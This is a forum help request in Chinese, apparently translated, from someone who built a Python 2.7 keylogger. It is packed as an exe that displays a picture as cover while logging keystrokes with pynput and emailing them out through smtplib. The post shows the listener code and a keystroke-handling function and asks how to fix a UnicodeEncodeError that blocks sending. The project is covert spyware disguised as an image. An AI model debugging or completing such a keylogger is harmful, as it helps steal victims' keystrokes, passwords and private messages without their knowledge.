TL; DR:
找到了错误,尚未解决:
Typing in english(left side), displayed in hebrew(right side)
我在Ubuntu计算机(VMware)上的 python 2.7 中构建了一个简单的键盘记录程序。 创建的exe文件应该显示图片并在后台执行键盘记录程序。 它在主机计算机(VMware主机,未安装python )上运行,但在我安装的其他计算机(也没有python )上运行。它确实显示了图片,但无法使用smtplib发送电子邮件
为了处理按键,我使用了如下的pynput:
keylistener = pynput.keyboard.Listener(on_press=proccess_keystrokes)
with keylistener:
sendGlobalVarLog()
keylistener.join()
和proccess_keystrokes是:
def process_key_press(self, key):
try:
current_key = key.char
except AttributeError:
current_key = '{0}'.format(key)
if current_key == 'Key.space':
current_key = " "
else:
if current_key == 'Key.enter':
current_key = "\n"
else:
current_key = " " + current_key + " "
except UnicodeEncodeError:
current_key = " bla "
self.append_to_log(current_key)
现在,除了从第一次记录键盘记录器启动的通知以来,它没有在Windows机器上发送任何内容。
我也尝试从pycharm中运行,几秒钟的运行后我得到以下异常:
sendmail中的文件“ C:\ Users \ PC \ AppData \ Local \ Programs \ Python \ Python37-32 \ lib \ smtplib.py”,行855 msg = _fix_eols(msg).encode('ascii') UnicodeEncodeError:“ ascii”编解码器无法对位置6-11中的字符进行编码:序数不在range(128)中
谁知道我做错了什么?如何正确解析击键?我尝试了几本手册,但找不到解决方案。
感谢您的帮助,